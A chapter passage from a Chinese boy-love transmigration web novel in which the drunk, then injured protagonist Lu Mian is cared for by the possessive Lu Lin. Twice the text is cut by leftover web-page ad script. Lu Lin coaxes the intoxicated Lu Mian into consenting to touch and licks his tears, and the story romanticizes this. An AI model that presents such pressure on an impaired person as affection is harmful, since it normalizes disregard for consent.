“好吃吗?”陆凛睨他,余光掠过另一侧扑了个空的褚柏栩,眼神又缓缓停在陆眠身上。少年吃得双颊鼓鼓,杏眼盈满快乐的光芒,弯弯如同月牙,潋滟生辉,煞是动人。 陆凛喉结滑了滑,指尖在还未愈合的伤口上压了压,血液浸润出的湿意令他稍稍缓过神,唇瓣张合一瞬,开口时嗓音微哑:“还要不要?” “要!”陆眠毫不犹豫地点头,灼灼视线牢牢锁定在陆凛手中剥了一半的椒盐虾尾上,忍不住舔了舔唇,本就沾了油渍的唇上此刻红艳艳一片。 陆凛顿了几息,目光方才重新落回手中,慢条斯理地继续给人剥起了虾。 陆眠被伺候得浑身舒坦,有陆凛给他剥虾,褚柏栩为他夹菜,根本不用自己动手,水也是有人送到手边…… “咳、咳咳咳——”陆眠刚喝了一口置于手边的‘水’就被呛住。 不知何时移动到他右边坐着的褚柏栩正醺醺然,听到咳嗽声他猛地一滞,“这是酒,你喝了?” 陆眠吐着舌头,酒液在舌尖撕咬,他被辣得不行,顿时眼泪汪汪,“我不der道那四酒。” 他刚说完,脸又被人捧着,转了个边。 陆凛拧着眉,“醉了。” “唔有。”陆眠一边摇头,一边大着舌头否认。 “真醉了,”褚柏栩说了一句,继而朗声大笑起来,“怎么回事啊眠眠,之前不是还挺能喝的吗?我记得去岁祖母的寿宴上你连喝了好几壶九酝春都无事的。” 陆眠懵懵的,耳朵开起了小差,他盯着跟前捧着他脸的人,眼珠子慢慢聚到中间成了个斗鸡眼,很快又转开,嘟嘟囔囔:“两个、不,你怎么有…一、二、三个脑袋。” 陆凛把小醉鬼揽过来,“你醉了,我们回去。” “回去?回不去了呜呜呜。” 陆眠不知想起了什么,说完这句就抽抽了两下,把脸供进陆凛怀中便开始哭。 褚柏栩酒都醒了一半,“这是真醉了啊!糟糕……回去就惨了。” 要是让褚夫人瞧见了喝醉的陆眠,他还能有活路吗?褚柏栩不敢想。 陆凛此刻已然将哭得愈发伤心的人抱了起来。 眼看他就要抱着人离开,褚柏栩醒了醒神,想开口让人再等等,但见陆眠哭得上气不接下气,瞬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间又按捺住,“怎哭成这样?” 陆凛唇线紧抿,没说话。 陆眠还在嚎:“呜呜,回去……”可是回去也没有人在等他,于是他哭得更伤心了。 陆凛将几锭银子放在桌角,抬步便走,也不管小醉鬼听不听得见,开口道:“这便回去。” “应当是我来请的。”褚柏栩扫了眼那几锭银子,跟着走出几步,忽而说:“听闻你在陆府过得并不好。”当初季老先生选中陆凛后,他便打听到一些事。 陆凛继续向前,似乎没有要回答的意思。 及至几人行至门边,褚柏栩才听人低低道:“这些年有些积攒,一顿饭还是请得起的。” 褚柏栩抬了抬眉,话虽如此,但以陆凛在陆家的处境,想来也积攒不到哪去。 他叹了口气,往他怀中露出的那个脑袋瞧去,他这个傻弟弟往后也是有两个大哥疼了,傻就傻点吧。 - 三人乘坐马车回到将军府,褚柏栩一下车果不其然便看见手中握着藤条的褚夫人,登时头皮一紧想要寻求帮助,抬眼仅瞧见一片衣角。 陆凛抱着陆眠下了马车就径直朝小院而去。 “等——” 褚柏栩一个字刚出口,褚夫人的冷笑声便传了过来,“让你好好照顾弟弟,你就是这么照顾的?竟然带眠眠去喝酒?” “娘你听我解释、” “跟我手中的藤条解释吧。” 褚柏栩拔腿便跑,准备去找陆凛为他作证,那酒真不是他给陆眠喝的,然而才刚跑出两步就被护卫拦了下来。 另一边,陆凛带着陆眠入了厢房,把人放到榻上又拧了条湿帕子,细细擦拭对方面颊上的泪痕。马车上陆眠哭累了,行至半途便睡了过去,眼下亦未有丝毫清醒的迹象。 显然醉得不轻。 以前酒量很好的人,如今一沾即醉。 陆凛微微敛目,指腹在人颊侧游移,落在一处,少年笑起来这里会有一个不深不浅的酒窝,随后低沉的嗓音在寂静的室内响起。 “你是谁。” 陆眠眉头动了动,不知是听到说话声有了反应,还是酒劲过了正要醒来。 陆凛将巾帕放回水盆边沿搭着,转头,对上一双雾蒙蒙的眼睛。 “你是、谁?”从来没有喝过酒的陆眠也没想到自己一口倒,刚醒来的他还有些发懵,望着眼前的人脑子里是一片浆糊。 陆凛默了默,突然道:“你觉得,我是谁?” 陆眠想了片刻,“孙悟空?” 他说完自己先晃了晃脑袋,似乎这样就能清醒一点,接着他骤然睁大眼睛,“你是反派!” 陆凛皱了皱眉,没听懂,伸手便要替人将耳际的一缕碎发别至耳后,却见陆眠猛地往后一缩。 “啊啊啊啊不要碰我!” “怎么了?”陆凛顿住,眼睫微敛,掩去眸底的沉寂。 陆眠抱紧自己,控诉道:“你都喜欢男的了,怎么能随便碰我呢!” 陆凛蓦地怔在原地,“我喜欢男的?” 陆眠猛点头:“对啊对啊!” 陆凛深深看他,像是要反驳,却又半晌没有动作。 他喜欢男的? 并不。 只是…… 陆凛望着陆眠,“我不喜欢。” 陆眠怀疑地看他。 陆凛对他掀了掀唇,竟难得露出个笑,深黑的眼底映着眼前人的身影,因为哭过一场,眼睛红得像兔子。他缓慢启唇,语气仿若诱哄一般,又像是诱人堕落的魔。 “所以,现在可以碰你了吗?” “眠眠?” 16.舔泪痕 陆眠酒后的意识混沌,听着陆凛循循善诱的话语,不自觉便跟着对方的思路走,“是这样吗……” 他喃喃了句,尾音带着点刚睡醒时的温软,“那你可以碰我。” 话才刚说到一半,颊侧就被一只有些微凉的指尖按压,略略施加了几分力道。片刻后陆凛手上动作又变得轻盈,犹如温柔织就的细网,一瞬将跟前的人裹得密不透风。 他看着陆眠无知无觉地被自己拢在掌下,心中似涌动着一股不知名的情绪。 “头疼不疼?”陆凛问。 陆眠反应迟钝几秒,脑袋左右晃晃,忽然开口说了一句,“头,你疼不疼?” 陆凛看着他,不自禁弯了下唇,对他总是脱口而出的这些令人摸不着头脑的话习以为常。注视少顷后他手往后些许,顺势将他耳际的那缕发丝拂开,“我去给你煮一碗蜂蜜水,喝完了再睡?” 陆眠没有应声,似在思考。 陆凛也不急,在床沿坐定,等着他回答。 半晌,陆眠点头,“喝!” 陆凛闻言起身,他刚站直,坐在床榻上的陆眠前后打了个晃,像是坐不稳似的。 “小心。”陆凛伸手欲将人扶稳,陆眠率先一把抓住他的手,口中念念有词,“我是不倒翁我是不倒翁。” 陆凛垂下眼,反手将人扣在掌下,扶着他躺回去,“等我回来。” 再一次被放回到床上的陆眠眨了下眼,没听见似的,“不倒翁也能倒。” 陆凛起身的动作顿了下,“想起来?” 陆眠一个翻身把自己团吧团吧卷进被子里,“啊啊啊,被子绑架我了!” 说着说着,他就往靠墙的那头滚了滚,耳边似钻入一声低笑。 陆眠从刚才差点倒下扶住人时便逐渐有了些清明,紧接着便开始装。在被子里缩了没一会他就听到了渐行渐远的脚步声,这才长长舒了口气。 他刚刚做了什么? 好像是答应了陆凛什么事,陆眠眉头皱紧了点,有些想不起来。 想不起来,那应该不是什么重要的事,思及此,陆眠慢慢放松下来,安心躺着等陆凛端着蜂蜜水回来给他。 - 陆凛走出厢房便看见褚夫人领着一行人前来,褚柏栩呲牙咧嘴地跟在后面。 “眠眠他?”褚夫人朝房间瞥了眼。 陆凛:“醉得不轻,刚醒,稍后让他喝完蜂蜜水再睡。” 褚夫人听罢点头,“如此,我便不进去了。” “那我进去看、”褚柏栩捂着脸,还未说完就被褚夫人一眼撇来,顿时噤了声。 褚夫人满意了,转而又去看陆凛,“只这两日便是老太君寿宴,府中需准备的地方不少,眠眠就劳烦你照顾了。” 陆凛应下,目送褚夫人一行离开。 临走前,褚柏栩落后几步,“你可要帮我好好照顾眠眠啊。”那个酒到底是因为他的疏忽才让人喝下的,褚柏栩可不想明日自己那傻弟弟因喝酒了头疼找他麻烦。 陆凛眸色深了几许,掩在袖中的指尖摩挲两下,道:“不必你说,我也会好好照顾他。” 褚柏栩到底也喝了酒,一时间并未察觉这话中隐藏的浓烈占有欲,见他答应下来便一摇一晃地跟着褚夫人离开了。 片刻后,陆凛端了蜂蜜水进屋。陆眠正趴在被子里,昏昏欲睡,脑袋也在一点一点的。 “喝了再睡。”他走近。 陆眠睁开了一只眼睛,修长手指端着碗送到了唇边,他伸长脖子,就着对方的手一口一口把蜂蜜水喝进肚里。 末了,陆眠眼神亮亮地仰起脸,品着嘴里的甘甜,“还有吗?” “好喝?”陆凛目光下落,扫过他被水打湿的唇瓣,“不可多食,明日再给你泡。” 有了他的承诺,陆眠这才点点头,轻拍了拍肚子躺平,很快就睡了过去,未再如前两日那样中途醒来。 他睡得安稳,未曾察觉床畔的人守了他多久,及至夜半方才离开。 翌日一觉睡醒的陆眠神清气爽,甚至比前两日早起了一刻钟。他让阿青阿平帮他束好发便快速跑到府门前蹲着,准备守株待兔等褚柏栩回来。 果然还没过多久,他就看到了从军营回来的褚柏栩,对方骑着一匹高头大马,踢踢踏踏朝着这边而来。 马背上,褚柏栩甩了甩手,眼角余光倏尔瞥见府门的那道身影顿时加快了速度,马儿还未完全停下他就已跃下马背。他咧着嘴角过来,明知故问:“眠眠?可是在这里等我的?” 陆眠:“不,我等笨蛋。” 褚柏栩噎住,然俊朗眉目间染着的笑意不减。 自长大后,母亲也不像以往那样总在府门前等他归府。如今他已能够独当一面,褚柏栩有信心未来定能为东宁开疆拓土,守卫边关,成为如父亲那样的大将军。 可时至今日,自己竟还能体会到有人在府门前守着等他归来的感觉,那种充实的、奇异的满足感油然而生。 如此,他亦不介意再给人当几回坐骑,遂微弓着腰,哄道:“好眠眠,怎么样?今天想不想飞飞?” 陆眠却是拒绝,并学着他的口吻说:“飞飞我另有人选。”这个已经被陆凛预订了,他是个言而有信的人,既然答应了陆凛,就不会再让别人给他当坐骑了。 褚柏栩没想到是这个答案,他顿了顿,还在纳闷既然这样对方为何特意等在这。 紧接着,褚柏栩就看到跟前人对他粲然一笑,十分开心的模样,大声道:“我们去玩!” 陆眠话毕,视线已经往府门外瞟去,里面闪烁着兴奋的光芒。 昨天他都没来得及玩,一口酒就倒了,今天还想再去。不过陆眠也知道褚夫人定不会让他一个人出去,于是只能拉着褚柏栩一起。 孰料褚柏栩竟是一口拒绝,“不行不行,这个绝对不行!” 看到他的拒绝三连,陆眠疑惑,“为什么?” 褚柏栩指了指自己背上,“昨日你喝了酒,我被抽了一顿。诶,没多大的事,跟你说这个做什么…… “走吧,回去了,带你去大哥珍藏多年的兵器库看看。” 虽然兵器库陆眠也好奇,可到底因为没能出去,表情有点蔫蔫的,同时还有些自责,他害对方被抽了一顿。 - 褚柏栩的兵器库中不乏御赐之物,褚睿恩守卫东宁十数载,立下战功赫赫,皇帝赏赐了不少好东西,其中就有几件放在褚柏栩这里。 平日他轻易不给人看,陆眠还是褚柏栩第一个带进来的。 “小心点,别伤着自己。”瞥见陆眠好奇地朝一个架子走去,那里正摆放着一柄仪刀,褚柏栩担心他抽刀耍玩不由出声提醒。 陆眠没有去碰那刀柄,反而是戳了戳刀鞘上嵌着的水蓝色宝石。 这是真的还是假的,想抠下来咬一口验验,陆眠默默想。 褚柏栩见状摇了下头,是他想多了,“走,去里面瞧瞧。” 兵器库 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中另设有暗室,里面就是他存放御赐之物的地方。 陆眠一进去就被里面的金光闪到了,壁灯掩映下,那些被擦拭得锃亮的刀剑寒光凛冽。 他很是捧场地发出惊呼,“哇——” 褚柏栩听得舒坦,“怎么样,想不想看大哥舞剑?” 陆眠拍手:“看!” 褚柏栩飘飘然地取了剑,带着陆眠又去了府中的练武场。 陆眠坐在练武场外的石凳上,起初还在为褚柏栩眼花缭乱的剑招看得眼睛发直,双手不停鼓掌。后面大概是喊累了,他双手托腮继续看,看着看着眼皮就耷拉下来。 褚柏栩浑然不觉,还在兴冲冲将自己新学的招式演练出来给他看。 及至听到‘咚’的一下,什么东西落地的声音。 他定睛一看,是陆眠从石凳上往后翻了过去,腿还翘着,整个人上半身已然仰倒。 这个姿势说不出的滑稽可笑,褚柏栩差点笑出声,继而便闻见急忙慌去扶人的阿青阿平发出的惊恐嗓音 “不好了,小公子晕过去了!” “血,流血了!” - 穿书不过一月,陆眠再次喜提头上纱布,脑袋又破了个口子,疼得他头昏脑胀,眼泪汪汪。 老太君心疼得不行,差点跟着乖孙一起落泪,好不容易才被褚夫人哄着回去休息。 褚柏栩跟个罪人似的,就差给陆眠磕一个了,“小祖宗你怎么又开始哭了,还很疼吗?再吃颗药?” 陆眠连忙摇头,他这一摇,头更晕了,“不吃药。”那要比上次的还苦,吃了他估计就不是疼哭的,而是被苦哭了。 褚柏栩手足无措,“你这么疼,诶,说到底都怪我,好好的去什么练武场。” 陆眠抿抿唇,“都怪我。” 跟个傻子似的,坐着都能睡着,结果摔了个四仰八叉,真成五龟了。 “怪我!”褚柏栩道。 陆眠正要与人争论,门外响起一连串脚步声,急匆匆的。他抬眼,接着便撞入了陆凛那双黑漆漆的眼眸中,有那么一瞬间仿佛要把人给吸进去。 陆凛脚步发沉,看着床榻前面容苍白的人。上一次他还将之视为仇人的人,眼下再度看见对方如此模样,心脏却泛起了细细密密的疼,若针扎一般。 “怎么回事?”陆凛行至陆眠跟前,投下的阴影几乎将人笼罩,开口时嗓音带着沙哑。 褚柏栩将先前发生的事同他解释了一遍,他刚说完就听到褚夫人身边的大丫鬟柳絮在叫他,兴许是收到了陆凛回府的消息,褚夫人这才过来叫人。 房门悄然合上,房间中药味弥漫,陆眠对上陆凛紧紧望过来的眼神,十分不自在地别过了脸。 下一刻,他就被掐着下巴掰了回去。 又是那样充满压迫与侵略性的眼神,陆眠只觉陆凛此刻正在用视线把他全身上下都掠了一遍,那种犹如猛兽舌尖猎物的濒死感令人窒息。 陆眠本来就在痛,此时感觉陆凛是正在用眼神威胁着自己,无端生出惶恐,泪水滚滚而出。 自嘲的声线跃入耳际。 “我该拿你如何是好?” 陆眠正觉莫名,忽然有热息拂过,他猛地瞪大了眼睛。对方的脸在他眼前无限放大,他能清楚地感知到…… 陆凛在用舌尖,舔去他颊上的泪痕。 一下又一下,珍惜而虔诚。深邃的眉眼间却透着浓到化不开的偏执,扭曲,仿似下定了某种决心。